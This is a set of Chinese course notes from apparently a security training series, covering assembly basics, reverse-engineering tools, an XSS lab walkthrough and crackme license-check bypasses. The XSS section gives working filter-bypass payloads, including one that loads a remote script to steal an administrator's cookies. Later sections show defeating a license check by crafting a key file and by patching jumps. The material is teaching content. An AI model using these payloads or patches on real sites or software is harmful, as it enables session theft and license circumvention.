寄存器的层次关系是：CPU -> 寄存器 -> 内存 -> 硬盘，速度递减，容量递增。

常见汇编指令集 📜

了解了存储数据的寄存器后，我们来看看操作它们的指令。汇编指令是控制程序流程和数据处理的基本命令。

以下是几类常见的汇编指令：

  • 数据传送指令
    • MOV dest, src：将数据从源操作数复制到目的操作数。例如：MOV EAX, EBX。
    • PUSH reg：将寄存器数据压入堆栈。
    • POP reg：从堆栈弹出数据到寄存器。
    • LEA dest, [src]：将源操作数的有效地址加载到目的寄存器。
  • 算术与逻辑运算指令
    • ADD dest, src：加法。ADD EAX, ECX 等价于 EAX = EAX + ECX。
    • SUB dest, src：减法。
    • INC reg / DEC reg：自增/自减。
    • AND/OR/XOR dest, src：按位与、或、异或运算。
    • SHL/SHR dest, count：按位左移/右移。左移一位相当于乘以2。
  • 流程控制指令
    • JMP label：无条件跳转到指定标签地址。
    • CALL function：调用函数。会将下一条指令地址压栈，然后跳转到函数入口。
    • RET：从函数返回。从栈中弹出返回地址并跳转。
    • JE/JNE/JG/JL...：条件跳转指令。根据标志寄存器的状态决定是否跳转。

总结 📝

本节课中我们一起学习了程序编译的四个步骤（预处理、编译、汇编、链接），认识了三种编程语言（机器语言、汇编语言、高级语言）的特点与关系。我们深入探讨了汇编语言的核心——寄存器，包括通用寄存器、段寄存器、指令指针寄存器和标志寄存器的作用。最后，我们列举了数据传送、算术逻辑运算和流程控制这三类常见的汇编指令。

掌握这些基础知识，是阅读、分析和编写汇编代码，进而深入理解软件底层运行逻辑和进行逆向工程分析的关键第一步。

🛡️ 课程P9：第7天 - XSS漏洞实战与绕过技巧解析

在本节课中，我们将深入解析XSS（跨站脚本攻击）靶场中的几道关键题目，并讲解一个实战留言板XSS漏洞的利用过程。我们将重点关注反射型XSS的绕过技巧以及存储型XSS的实战利用方法，帮助初学者理解漏洞原理和攻击思路。

📝 课程概述

本节课将围绕一个XSS靶场的解题过程展开。我们将首先回顾反射型XSS最后两道难题的解法，然后分析一个实战中的留言板存储型XSS漏洞，探讨多种注入和绕过方法。核心在于理解不同上下文（如HTML属性、JavaScript伪协议）下的编码与解码行为，以及如何构造有效载荷（Payload）来绕过简单的过滤机制。

🔍 反射型XSS进阶挑战解析

上一节我们介绍了XSS的基本概念，本节中我们来看看靶场中反射型XSS的进阶挑战。

关卡H（第8关）解法：HTML实体编码绕过

此关卡的关键在于输出点位于 <a> 标签的 href 属性中，并且后台会对 script 等关键字进行过滤。

核心思路：利用HTML属性值会自动对实体编码进行解码的特性。我们构造的JavaScript代码需要先被编码，这样在服务端过滤时不会被识别，但在浏览器渲染href属性时又会被正常解码执行。

以下是构造Payload的步骤：

  1. 准备基础的JavaScript代码：javascript:alert(1)
  2. 对关键字符（如 script）进行HTML实体编码。例如，字母‘t’的实体编码是 &#116;。
  3. 构造最终Payload。例如，将 javascript:alert(1) 中的 ‘t’ 和 ‘:’ 编码后得到类似 javascri&#116;&#58;alert(1) 的字符串。
  4. 在靶场输入此Payload，添加为“友情链接”。
  5. 点击该链接时，href 属性中的实体编码会被浏览器解码，从而执行 javascript:alert(1)，成功弹窗。

代码示例：
原始代码：javascript:alert(1)
编码后Payload：javascri&#116;&#58;alert(1)

关卡I（第9关）解法：字符串检测与拼接绕过

此关卡在上一关的基础上，增加了对输入合法性的判断。如果输入不包含类似“http://”的字符串，则会提示“链接不合法”。

解题思路：我们需要让Payload既能通过合法链接的检测，又能执行JavaScript代码。可以通过在可执行的JavaScript伪协议Payload后拼接一个“http://”字符串来实现。

以下是具体步骤：

  1. 分析发现，输入内容必须包含“http://”才会被正常放入 href 属性。
  2. 构造Payload，将可执行代码与“http://”进行拼接。例如：javascript:alert(1)//http://。这里 // 是JavaScript中的单行注释符，用于注释掉后面的“http://”，防止其影响代码执行。
  3. 同时，仍需对 script 等关键字进行编码绕过过滤（同第8关方法）。
  4. 最终的有效Payload可能形如：javascri&#116;&#58;alert(1)//http://。
  5. 提交后，该字符串因包含“http://”而被接受，并输出到 href 属性中。点击链接时，执行 javascript:alert(1)，而 //http:// 被当作注释忽略。

🗃️ 存储型XSS实战：留言板漏洞利用

在解决了靶场问题后，我们来看一个更接近实战的场景——一个存在存储型XSS漏洞的留言板系统。

漏洞初探与简单利用

留言板前台提交留言，内容会存入数据库。管理员在后台查看留言列表时，留言内容会被渲染到页面上。

初步测试：

  1. 提交简单Payload <script>alert(1)</script>，发现提交后查看页面源码，script 标签中间被插入了<x>，例如变成 <sc<x>ript>，导致标签失效。
  2. 尝试使用其他标签，如 <img src=1 onerror=alert(1)>。提交后发现 onerror 事件属性中间也被插入了<x>。

意外发现：
然而，当管理员点击某条留言的“编辑查看”按钮时，进入详情页，发现之前被插入的<x>消失了，onerror=alert(1) 被正常解析，从而触发了弹窗。这说明后台的过滤逻辑可能存在不一致性。

进阶利用：窃取Cookie

我们的目标不仅仅是弹窗，而是在管理员访问留言列表页（无需点击编辑）时，就能自动触发攻击，窃取其Cookie。

利用思路：
既然在“编辑查看”页过滤被解除，我们可以构造一个Payload，使其在详情页执行时，能向我们的攻击服务器发送管理员的Cookie。

以下是构造复杂Payload的步骤：

  1. 准备一个接收Cookie的远程服务器（例如使用蓝莲花XSS平台）。
  2. 构造一个利用图片加载错误触发、并动态创建<script>标签的Payload。
  3. 由于后台过滤script字符串，我们使用JavaScript的字符串拼接来绕过：'scr'+'ipt'。
  4. 最终Payload示例：
    <img src=1 onerror=document.body.appendChild(document.createElement('scr'+'ipt')).src='http://你的接收域名/steal.js'>
  5. 提交此留言后，当管理员在后台点击这条留言的“编辑查看”时，onerror 中的代码执行。它会创建一个新的<script>标签，其src指向我们准备好的恶意JS文件，该文件会将页面Cookie发送到我们的服务器。

绕过过滤的另一种技巧：反斜杠分隔

我们还尝试了不依赖“编辑查看”页面的直接绕过方法。目标是让Payload在留言列表页就能触发。

发现：在某些情况下，在事件处理函数名（如 onerror）中间插入一个反斜杠\，可以分隔字符串以绕过简单的关键字匹配，同时浏览器仍能正确识别该事件。

示例Payload：
<img src=1 o\nerror=alert(1)>
这里，o\nerror 对于简单的字符串匹配来说不是 onerror，因此可能不被插入<x>。但浏览器在解析HTML时，会将其正确识别为 onerror 事件，从而在图片加载失败时执行 alert(1)。

💎 课程总结

本节课中我们一起学习了XSS攻击中较为深入的绕过技巧。

  1. 反射型XSS绕过：我们掌握了利用HTML实体编码在属性值中解码执行的特性，以及通过拼接合法字符串（如http://）来绕过基础检测的方法。
  2. 存储型XSS实战：我们分析了一个留言板漏洞，从简单测试到复杂利用，学习了如何利用后台过滤逻辑的不一致性，并构造能够窃取Cookie的恶意Payload。同时，也了解了使用反斜杠分隔事件名这类细微的绕过技巧。

关键要点在于，防御XSS需要全面且一致的处理策略，任何输出上下文（HTML体、属性、JavaScript代码）的疏忽或过滤逻辑的不统一，都可能成为被攻击者利用的突破口。对于学习者而言，积累各种Payload构造技巧和绕过方法，并理解其背后的原理，至关重要。

逆向工程课程 P90：常用逆向工具介绍 🔧

在本节课中，我们将学习逆向工程中常用的一些工具。这些工具可以帮助我们查看、分析和修改二进制文件，是进行软件安全分析的基础。

上一节我们介绍了汇编语言的基础知识，本节中我们来看看在实际逆向分析中会用到哪些工具。

1. 二进制文件查看与编辑工具

首先介绍的是用于查看和编辑二进制文件的工具。二进制文件通常以十六进制形式显示，因为十六进制比二进制（0101）更便于人类阅读和理解。

以下是几种常见的二进制工具：

  • WinHex / HxD：十六进制查看与编辑工具。
  • 010 Editor：功能强大的专业十六进制编辑器，支持文件对比和脚本编写。

我们可以用这些工具打开一个程序文件。例如，打开一个名为 crackme 的程序，工具会显示其十六进制内容。左侧是十六进制数值，右侧是对应的ASCII字符。其中可读的字符串是程序中的数据，而无法显示的“乱码”通常是CPU要执行的机器指令。在这些工具中，我们可以直接修改十六进制数值，例如将 70 改为 71。

此外，这类工具通常附带文件比较功能（如 UltraCompare）。我们可以选择“二进制比较”模式来对比两个相似的文件，工具会高亮显示它们之间的差异，这对于分析软件补丁或不同版本非常有用。

2. 可执行文件属性分析工具

接下来，我们学习如何查看可执行文件的结构和属性。不同的操作系统有不同的可执行文件格式。

  • Windows 平台 - PE 文件：Windows下的可执行文件（如 .exe, .dll）都是 PE 格式。我们可以使用 StudyPE 或类似工具进行分析。打开一个 crackme.exe 文件，工具会显示其是否为32/64位程序、哈希值（MD5, SHA1）、是否加壳等信息。例如，文件类型显示为 TASM / MASM，表明这是一个由汇编语言编译且未加壳的程序，便于直接分析。
  • Linux 平台 - ELF 文件：Linux下的可执行文件是 ELF 格式。我们可以使用 readelf 命令来查看其属性。在终端中输入命令 readelf -a hello.out，即可查看该ELF文件的全部信息，包括编译平台、版本、段信息等。

3. 静态反汇编利器：IDA Pro

现在，我们进入核心工具部分。IDA Pro 是目前功能最强大、最流行的静态反汇编软件，是安全分析的必备工具。

IDA 是免安装的绿色软件，解压后即可使用。其中 ida.exe 用于分析32位程序，ida64.exe 用于分析64位程序。

使用 IDA 打开一个程序后，它会自动进行反汇编分析。其界面主要分为以下几个窗口：

  1. 函数窗口：位于左侧，列出了IDA分析出的所有函数。
  2. 主窗口：位于中央，显示反汇编后的汇编代码或程序控制流图。
  3. 导航栏：位于主窗口下方，用不同颜色块标识不同的代码段（如代码、数据），点击可快速跳转。
  4. 结构体/枚举窗口：显示分析出的数据结构。
  5. 导入/导出表窗口：显示程序调用了哪些外部函数（导入）以及提供了哪些函数（导出）。
  6. 脚本输出窗口：支持Python脚本进行自动化分析，并显示输出信息。

IDA 的常用快捷键对于提高分析效率至关重要：

  • F5：将汇编代码转换为更易读的伪代码（C语言风格）。
  • F2：在指定地址设置或取消断点（用于动态调试）。
  • F7：单步步入，遇到函数调用会进入函数内部。
  • F8：单步步过，将函数调用作为一个整体执行，不进入内部。
  • F9：运行程序，直到遇到断点或程序结束。
  • ESC：返回到上一个视图位置。

4. 动态调试工具

动态调试是指在程序运行时进行分析。我们介绍两款经典的动态调试器。

  • OllyDbg：主要用于调试32位Windows程序。
  • x64dbg：支持64位和32位Windows程序的调试。

它们的界面布局相似，通常包含以下几个核心窗口：

  1. 反汇编窗口：显示正在执行的汇编指令。
  2. 寄存器窗口：实时显示CPU各寄存器（如EAX, EBX, EIP, ESP）的值。
  3. 数据窗口：查看或修改指定内存地址的数据。
  4. 堆栈窗口：显示当前线程的调用堆栈信息。
  5. 信息/日志窗口：显示调试过程中的输出信息。

通过结合使用断点、单步执行等功能，我们可以观察程序在运行时的具体行为，例如寄存器值的变化、内存数据的读写，从而理解其逻辑或定位关键代码。

本节课中我们一起学习了逆向工程的常用工具。我们首先了解了用于直接查看和编辑二进制文件的十六进制编辑器，然后学习了分析可执行文件格式的工具。接着，我们深入介绍了功能强大的静态分析工具 IDA Pro 及其界面和快捷键。最后，我们预览了用于动态分析的调试器，如 OllyDbg 和 x64dbg。掌握这些工具是进行后续实战逆向分析的基础。

逆向工程实战（全）课程：破解CrackMe程序 🛠️

在本节课中，我们将学习如何对一个名为“CrackMe”的简单程序进行逆向分析与破解。我们将通过静态分析与动态调试相结合的方式，理解程序的验证逻辑，并最终绕过其保护机制。

概述与准备 📋

我们以“CrackMe”程序为例。其MD5值为固定值，用于确保大家使用的是同一个待破解程序。程序名称可以随意重命名，但MD5值不变。本节课将带领大家一步步完成破解。

所需工具与文件：

  • CrackMe 程序（已提供）
  • StudyPE 等分析工具（已提供）

操作环境：建议在虚拟机中操作，以避免潜在风险。

首先，在虚拟机中直接运行程序。程序会提示“Out of date”，要求购买凭证。这是典型的软件序列号验证场景。

第一步：程序初步分析 🔍

上一节我们运行了程序并看到了验证提示。本节中，我们来看看程序的基本信息。

使用 StudyPE 工具打开程序，查看其信息。关键信息如下：

  • 程序为 32位。
  • 程序 未加壳。

这两个信息意味着我们可以直接使用反汇编工具进行分析。

第二步：使用IDA进行静态分析 📖

由于程序是32位且未加壳，我们使用 IDA 32位版本 打开它。

IDA加载后，会自动定位到程序的入口点，并命名为 start。点击 start 即可进入程序执行的起点。

注意：这不是一个简单的“Hello World”程序，而是一个包含验证逻辑的相对复杂的程序。我们的目标是弄清其机制并破解它。

把握程序整体流程

分析时，不应立即陷入每行代码的细节。首先需要从整体上把握函数的执行流程。

观察反汇编代码，可以发现程序存在多个分支。总体来看，程序可能走向以下几个关键输出：

  1. 提示“Valuation period out of time, purchase new license.”（即直接运行程序时看到的错误）。
  2. 提示“Kefile is not valid, sorry.”。
  3. 提示“You really did it, congratulate!”（即成功破解）。

由此，我们把握了程序的基本逻辑：它首先检查某种条件，失败则报错1；通过后，再进行文件验证，失败则报错2；全部通过则成功。

第三步：分析第一个验证条件（文件存在性） 📁

程序直接运行时提示过期错误，说明它首先执行了错误分支1。我们需要分析该跳转附近的代码。

观察代码发现，在跳转前，程序调用了 CreateFile 函数，文件名是 kefile.date。随后进行比较判断（jz 跳转）。其逻辑是：检查当前目录下是否存在 kefile.date 文件。如果不存在，则跳转到错误分支1。

验证：在程序目录下新建一个名为 kefile.date 的文本文件。再次运行程序，错误提示变为“Kefile is not valid”。这说明我们已绕过第一个验证。

第四步：分析第二个验证条件（文件内容） ✏️

现在程序进入了第二个验证阶段。我们需要弄清楚 kefile.date 文件内容的具体要求。

从反汇编图可以看到，有多个箭头指向“Kefile is not valid”错误，说明文件内容需满足多个条件。

条件一：文件长度要求

程序会读取文件。关键代码分析如下：

  1. push 0Fh：表示尝试读取 15 个字节。
  2. 读取后，检查实际读取的字节数（NumberOfBytesRead）。
  3. 与 10h（即十进制的 16）进行比较。如果小于 16，则跳转到错误分支。

结论：文件内容至少需要 16个字节。

条件二：特定字符计数要求

满足长度要求后，程序进入一个循环结构，读取文件内容（实际只读前16个字节）。核心逻辑如下：

  • 循环读取每个字符。
  • 将读到的字符与 47h（即大写字母 ‘G’ 的ASCII码）进行比较。
  • 如果字符等于 ‘G’，则寄存器 esi 的值增加 1（inc esi）。
  • 循环结束后，检查 esi 的值。
  • 如果 esi >= 8，则跳向成功分支；否则跳向失败分支。

结论：文件的前16个字符中，至少需要包含 8个大写字母‘G’。

第五步：构造破解文件并验证 ✅

根据以上分析，我们可以构造出能通过验证的 kefile.date 文件。

文件要求总结：

  1. 文件名：必须为 kefile.date。
  2. 文件内容：至少包含16个字符，且其中至少前16个字符里要有8个是大写字母 ‘G’。

示例内容：GGGGGGGGXXXXXXXX （前8个是G，后8个是任意字符，总长度16）。

将构造好的文件放入程序目录，再次运行。程序显示“You really did it, congratulate!”，破解成功。

第六步：动态调试加深理解 🐛

静态分析得出的结论，可以通过动态调试来直观验证。我们使用IDA的调试功能。

调试过程简述：

  1. 在IDA中加载程序，在关键跳转处（如文件存在性检查、字符比较循环处）设置断点（Breakpoint）。
  2. 选择 Local Windows debugger 启动调试。
  3. 按 F7（步入）或 F8（步过）单步执行，观察程序流程和寄存器（如 esi）值的变化。
  4. 可以修改 kefile.date 的内容（例如，减少‘G’的数量），然后重新调试，观察程序如何走向不同的错误分支。

通过动态跟踪，可以清晰地看到：

  • 文件不存在时，如何跳转到“过期”错误。
  • 文件长度不足时，如何跳转。
  • 循环中，每个字符被比较，esi 计数器如何根据字符是否为‘G’而增加。
  • 最终 esi 的值如何决定跳转到成功或失败路径。

动态调试让静态分析的结果变得生动可视，是逆向工程中至关重要的技能。

课程总结 🎯

本节课中，我们一起学习并完成了一个简单的CrackMe程序破解实战。我们掌握了以下核心技能：

  1. 信息收集：使用工具检查程序位数与加壳情况。
  2. 静态分析：使用IDA从整体到局部分析程序流程，理解关键跳转和验证逻辑。
    • 核心逻辑通过反汇编代码呈现。
  3. 逻辑推导：通过分析代码，推导出破解所需的条件：
    • 需要特定名称的文件（kefile.date）。
    • 文件内容需满足长度要求（>=16字节）和字符要求（至少8个‘G’）。
  4. 动态调试：利用IDA的调试器验证静态分析结果，直观观察程序执行流程和寄存器状态变化。
  5. 破解实现：根据分析结果构造正确的验证文件，成功绕过程序保护。

这是一种常见的软件破解思路——通过逆向分析找到合法的验证数据（如文件、注册码）并构造它。另一种常见思路是直接修改程序的跳转指令（称为“打补丁”），这将在后续课程中介绍。

课后练习：尝试修改 kefile.date 文件的内容（例如，只放7个‘G’），然后使用动态调试器跟踪，观察程序是如何检测并跳转到错误提示的。这能极大地帮助你巩固对程序逻辑的理解。

逆向工程实战（二）🔍 - 课程P92

在本节课中，我们将学习两种破解软件验证的实战方法：一种是正统的“条件分析”法，另一种是“修改判定条件”的取巧法。我们将通过一个具体的 crackme 程序，演示如何分析其验证逻辑，并使用工具修改其执行流程，最终实现无需验证文件即可运行。

1. 破解方法一：修改程序跳转指令 🔧

上一节我们介绍了如何通过分析找到程序的验证条件。本节中，我们来看看如何通过直接修改程序的二进制指令来绕过验证。

1.1 目标与思路

我们的目标是让 crackme.exe 程序在缺少 kfile.data 验证文件的情况下也能正常运行。程序原本会检查该文件是否存在及内容是否合规，我们可以通过修改其关键跳转指令，改变程序的执行路径。

1.2 操作步骤

以下是使用 x64dbg 及其 Keypatch 插件修改程序的具体步骤。

  1. 重命名验证文件
    首先，将 kfile.data 文件重命名，模拟其不存在的环境。此时运行程序会报错。

  2. 修改第一个跳转指令
    程序首先会检查文件是否存在。我们找到对应的 jnz（非零则跳转）指令，它会在文件不存在时跳转到错误处理流程。

    • 使用 Keypatch 插件，将该指令修改为 jz（为零则跳转）。这样，即使文件不存在，程序也不会跳向报错分支。
    • 点击 Patch 应用修改。

  3. 修改后续跳转指令
    程序接着会尝试读取文件内容并进行验证。我们找到读取失败或验证失败时的跳转指令（同样是 jnz 或类似条件跳转）。

    • 使用同样的方法，将这些指令修改为相反的条件（如 jnz 改为 jz），使其跳过报错流程。
    • 核心操作是：右键点击目标指令 -> Keypatch -> Patch。

  1. 应用所有修改
    完成所有指令修改后，在 x64dbg 的 Edit 菜单中，选择 Patch program -> Apply patches to input file。

    • 建议勾选 Create backup，这样会生成一个修改后的可执行文件（如 crackme_cracked.exe）和一个原始文件的备份（如 crackme.exe.bak）。

  2. 验证结果
    运行修改后的 crackme_cracked.exe，即使没有 kfile.data 文件，程序也能顺利执行并显示成功提示。

核心概念（修改跳转）：

; 原指令：如果条件不满足（例如文件不存在），则跳转到错误处理（0x401000）
jnz 0x401000

; 修改后：如果条件不满足，则**不**跳转，继续执行正常流程
jz 0x401000  ; 或者直接改为 nop (无操作) 或 jmp 到成功地址

2. 两种破解方法的对比 ⚖️

上一节我们通过分析找到了验证条件，本节我们通过修改指令绕过了验证。现在我们来总结一下这两种方法的优劣。

以下是两种方法的对比：

  • 方法一：条件分析（正统）

    • 优点：完全理解程序逻辑，不改变原有执行路径，程序功能能正常发挥。
    • 缺点：需要花费较多功夫进行精确的静态与动态分析。

  • 方法二：修改判定（取巧）

    • 优点：操作简单直接，能快速达到绕过验证的目的。
    • 缺点：对于复杂程序，盲目修改跳转可能导致程序后续功能异常（例如，后续代码需要用到被跳过的初始化数据）。

应用场景：

  • CTF竞赛或快速破解简单验证时，方法二非常有效。
  • 需要对程序进行深入分析、破解或编写注册机时，必须使用方法一。

3. 逆向分析实战流程回顾 📝

让我们系统性地回顾一下破解这个 crackme 程序的完整流程。

  1. 尝试运行：运行程序，发现它需要 kfile.data 文件，否则提示证书过期。
  2. 查壳与定位：使用 StudyPE 等工具检查，确认是32位未加壳的PE文件。用 IDA Pro 32-bit 打开进行静态分析。
  3. 静态分析：IDA 会自动识别程序入口点（通常命名为 start）。通过查看控制流图，发现第一个分支尝试打开 kfile.data 文件。
  4. 动态调试与条件定位：
    • 创建 kfile.data 文件，用 x64dbg 附加调试。
    • 定位到错误提示出现的位置。
    • 逆向分析所有可能导向该错误的分支，找出真正的验证逻辑：
      • 条件1：文件必须存在。
      • 条件2：文件内容至少包含 16个字节（0x10）。
      • 条件3：文件内容中，大写字母 ‘G’ 的数量必须 大于等于8个（esi >= 8）。
  5. 构造有效载荷：根据以上条件，创建一个满足要求的 kfile.data 文件（例如，包含至少8个‘G’且总长度≥16字节的字符串）。
  6. 验证成功：使用构造的文件，程序验证通过，显示成功对话框。

破解条件总结（代码描述）：

# 伪代码描述 crackme 的验证逻辑
def validate_kfile(file_path):
    if not os.path.exists(file_path):
        return False
    with open(file_path, 'rb') as f:
        data = f.read()
    if len(data) < 16: # 0x10 字节
        return False
    if data.count(b'G') < 8:
        return False
    return True

4. 给初学者的逆向工程建议 💡

逆向工程是一门需要耐心和经验的技艺。以下是给初学者的一些核心建议：

  • 具备编程基础：了解开发者如何编程（编码风格、常见模式），能极大帮助你在逆向时理解程序结构。
  • 关注代码集中性：功能相关的代码或数据往往被放在相邻位置。理解一块代码时，可查看其上下文。
  • 理解代码复用：程序员会复用代码。识别出重复或相似的模式，能帮助你快速理解程序模块。
  • 七分逆向，三分猜测：逆向需要基于经验和代码上下文进行合理推测，但推测后必须通过动态调试等方式进行验证。
  • 区分代码：学会区分程序核心逻辑与编译器生成的启动代码、库函数代码等。
  • 保持耐心：逆向分析，尤其是初期，可能进展缓慢。遇到复杂程序花费数小时是正常的，坚持练习是提升的关键。

推荐学习资料：

  • 《C和指针》：深入理解C语言核心，其指针概念与汇编寻址紧密相关。
  • 《汇编语言（第3版）》：王爽著，经典的汇编入门教材。
  • 《恶意代码分析实战》：学习分析方法和工具集。
  • 《深入理解计算机系统》：从底层理解程序如何运行。
  • 《加密与解密》：专注于软件保护与逆向分析。

5. 课后作业与练习 🏆

为了巩固本节课的知识，请完成以下练习：

作业：完成“合天网安实验室”逆向游乐场的第1关至第3关。

  • 平台：登录“合天网安实验室”或类似CTF平台。
  • 方式：创建实验机（预置环境的虚拟机），按照实验指导的步骤进行分析和破解。
  • 目的：这三关的设计能很好地练习文件检查、简单算法逆向和条件修改等基础技能。

工具准备：课程群文件中提供了 IDA Pro 等核心逆向工具，请自行下载安装以备使用。

6. 常见问题答疑 ❓

  • Q：如何判断一个程序是否加壳？
    A：使用 StudyPE、PEiD 或 Exeinfo PE 等工具查看程序的文件类型信息。将显示的类型在搜索引擎中查询，即可知是何种编译器生成或何种壳保护。未加壳的程序静态分析时逻辑清晰，加壳程序入口点代码通常混乱且复杂。

  • Q：在IDA中面对复杂的控制流图，如何找到突破口？
    A：1) 始终从程序入口点（start）开始。2) 结合动态调试，运行程序并观察其实际执行路径。3) 明确你的目标（例如，找到成功提示的代码位置），然后从目标点反向追踪，分析哪些条件会导致程序到达这里。4) 善用IDA的图形视图缩放功能，先从整体把握程序结构，再深入细节。

  • Q：逆向工程很难，学不会怎么办？
    A：逆向工程确实是网络安全中门槛较高的领域，因为它直接处理不直观的二进制代码。初期感到困难非常正常。关键在于 多实践、多调试、多总结。从简单的 crackme 开始，逐步增加难度。年轻是最大的资本，只要持续投入时间练习，一定能掌握这项强大的技能。

本节课中我们一起学习了两种实用的软件破解方法，回顾了完整的逆向分析流程，并探讨了给初学者的学习建议。逆向工程的核心在于“大胆猜测，小心求证”，并结合动静态分析工具反复实践。请大家务必完成课后作业，在实践中深化理解。如有任何问题，欢迎在课程群中提出讨论。

逆向工程课程 P93：基础逆向工具使用指南 🔍

在本节课中，我们将学习逆向工程分析的第一步：如何查看和分析目标文件的基本信息。我们将介绍两款核心工具，并讲解在安全环境下进行分析的重要性。

文件基本信息查看 🔎

上一节我们介绍了逆向工程的基本概念，本节中我们来看看如何开始分析一个具体的程序文件。首先，我们需要了解文件的基本情况。

可以使用十六进制查看和修改工具来完成这一任务，例如 UltraEdit (UE)。

UltraEdit 这款工具可以查看文件的十六进制内容，并允许进行修改。

它也可以用于比对两个文件的差异。我们的演示是在虚拟机中进行的。在进行逆向分析时，最好也在虚拟机环境中操作，因为你分析的程序很可能带有后门或恶意代码。如果在主机上进行分析，一旦中招，清理会非常麻烦。因此，建议专门准备一个虚拟机用于逆向分析。

这是我们打开的 UltraEdit 程序界面。接下来，我们将用它来分析今天的目标程序。

首先清除之前的编辑内容。这是今天要分析的程序，我们可以在 UE 中打开它。

通过十六进制视图可以查看文件内容，理论上也能进行修改。但在当前阶段，我们不了解程序机制，无法确定修改何处。

相信大家对这些基础工具的使用已有所了解，因此不再赘述。UE 还包含一个 UE Compare 功能，用于比对两个文件。当你修改程序后，可以用它来查看具体修改了哪些部分。红色高亮区域即表示存在差异。

PE 文件分析工具 📁

接下来，我们介绍另一个重要工具：Stud_PE。它是一款专门用于分析 Windows PE（Portable Executable）文件格式的工具。

我们打开 Stud_PE，并加载要分析的程序文件。

从这里可以看到，它明确告诉我们这是一个 32位的PE文件。这个信息至关重要。例如，在使用反汇编工具 IDA 时，你需要根据程序位数选择对应的版本：

  • 32位程序使用 IDA 打开。
  • 64位程序使用 IDA64 打开。

如果这里是64位，你就知道应该用 IDA64 来打开它。

下方还显示了文件类型等信息。有些文件可能被加壳（如 UPX），这里会显示“无加壳”。通过 Stud_PE，你可以查看 PE 文件的文件头、各个节（Section）等详细信息。

这是 Stud_PE 工具的主界面。

Linux 平台下的对应工具 🐧

在 Linux 系统中，可以使用 readelf 命令来查看 ELF（Executable and Linkable Format）文件的属性。

例如，分析一个简单的 a.out 文件（一个打印 “Hello World” 的程序）：

readelf -a a.out

因为 Linux 平台的可执行文件格式是 ELF。刚才介绍的 Stud_PE 是 Windows 平台下的工具。readelf 命令会输出类似“ELF 64-bit”等信息以及其他文件细节。

以上内容简单介绍了逆向分析初期需要了解的文件相关基本情况。

总结 📝

本节课中我们一起学习了逆向工程分析的基础准备工作：

  1. 环境安全：强调在虚拟机中进行逆向分析以保障主机安全。
  2. 基础查看：使用 UltraEdit 进行十六进制查看和文件比对。
  3. 文件格式分析：
    • 在 Windows 下，使用 Stud_PE 分析 PE 文件的位数、加壳情况等关键信息，为后续使用 IDA 等工具做好准备。
    • 在 Linux 下，使用 readelf 命令分析 ELF 文件。

掌握这些工具和步骤，是开启任何逆向分析任务的第一步。

逆向工程课程 P94：IDA Pro 介绍及实战 🛠️

在本节课中，我们将学习逆向工程中一款核心工具——IDA Pro。课程将分为两部分：首先介绍IDA Pro的基本概念、界面和常用功能；随后，我们将通过一个实际的破解程序案例，演示如何运用IDA Pro进行静态与动态分析，以理解程序逻辑并找到关键破解点。

IDA Pro 简介

上一节我们明确了课程目标，本节中我们来看看IDA Pro是什么。

IDA Pro是一款交互式反汇编器（Interactive Disassembler），是目前功能最强大、应用最广泛的静态反汇编软件。该软件为商业软件，但存在激活方法。其核心功能是分析二进制程序，将其机器码转换为人类可读的汇编代码，并尝试识别其中的函数、库和数据结构。

IDA Pro 界面与窗口

使用IDA打开一个程序后，软件会自动进行分析，并将分析结果呈现在多个窗口中。下面我们通过实际操作来认识这些窗口。

我们使用IDA打开一个32位、未加壳的示例程序。打开后，主界面如下：

以下是主要的窗口及其功能：

  • 反汇编窗口（IDA View）：这是主要的分析区域，以流程图或列表形式显示程序的汇编代码。图中箭头表示程序执行的可能跳转路径。
  • 函数窗口（Functions Window）：列出IDA分析出的所有函数，包括程序自身的函数（如start）和导入的Windows API函数。点击函数名可快速定位到其代码。
  • 流程缩略图（Overview）：当程序流程非常复杂时，可以在此缩略图中拖动，快速定位到需要查看的代码区域。
  • 信息输出窗口（Output Window）：显示IDA的操作日志、错误信息等。
  • Python脚本窗口（Python Script）：IDA支持Python脚本扩展，可以在此执行Python命令或脚本。

除了默认窗口，用户可以根据需要打开或关闭其他窗口。例如，在View -> Open subviews菜单中可以打开Strings窗口，该窗口会提取并列出程序中出现的所有字符串常量，这在逆向分析中非常有用。

常用快捷键

熟练使用快捷键能极大提升分析效率。IDA与后续将学习的OllyDbg等调试器有许多通用快捷键。

以下是核心的快捷键列表：

  • F2：在光标所在行设置或取消断点。
  • F7（Step into）：单步执行。如果当前指令是函数调用（call），则会进入该函数内部。
  • F8（Step over）：单步执行。与F7的区别在于，遇到函数调用时，会将整个函数当作一条指令执行，不会进入函数内部。
  • F5：将当前函数的汇编代码转换为更易读的C语言伪代码。
  • F9：运行程序。如果遇到断点则会暂停，否则运行到程序结束。
  • ESC：返回到上一个查看的位置。

掌握工具的最佳方式是在实践中反复使用，无需死记硬背。

显示代码地址

默认情况下，反汇编窗口可能不显示每条指令的地址。为了方便定位和协作，我们需要将其显示出来。

设置方法为：Options -> General，在对话框中勾选Line prefixes (graph)选项。勾选后，每条汇编指令前都会显示其内存地址。

实战：破解一个演示程序

前面我们介绍了IDA Pro的基本情况，下面我们通过一个实际案例来体验其强大功能。本次实战的目标程序是一个简单的许可证检查程序，运行时会提示“valuation period out of date”。我们的目标是在不购买许可证的情况下使其正常运行。

实验环境：本案例可在“和丰实验室”在线实验平台完成。课后同学们可以自行登录平台进行练习。为演示流畅，此处使用本地环境。

第一步：初步分析与运行

首先，我们运行目标程序，确认其行为是弹出过期提示。然后使用查壳工具（如Stud_PE）确认其为32位程序且未加壳，这意味着我们可以直接使用IDA进行静态分析。

第二步：静态分析定位关键字符串

我们使用32位IDA打开程序。面对一个陌生程序，一个高效的切入点是查找程序中的字符串。

  1. 打开Strings窗口（View -> Open subviews -> Strings）。
  2. 在字符串列表中，我们发现了目标字符串“valuation period out of date”。
  3. 在该字符串上按Ctrl+X，可以查看所有引用该字符串的代码位置。我们跳转过去，发现它在一个显示消息框的函数（MessageBoxA）调用之前。这证实了错误提示由此产生。
  4. 观察上下文，发现程序执行流在此处有一个关键跳转（jnz）。如果跳转到左侧分支，就会执行MessageBoxA显示错误；反之，则可能走向正常流程。因此，我们的目标是让程序执行右侧分支。

第三步：动态调试验证猜想

我们分析跳转条件上方的代码。发现程序调用了CreateFileA函数，尝试打开一个名为keyfile.dat的文件。如果文件不存在或打开失败，函数返回值（通常存储在EAX寄存器）会是一个特殊值（如-1，即0xFFFFFFFF），导致后续比较（cmp eax, 0FFFFFFFFh）不相等（jnz），从而跳向错误分支。

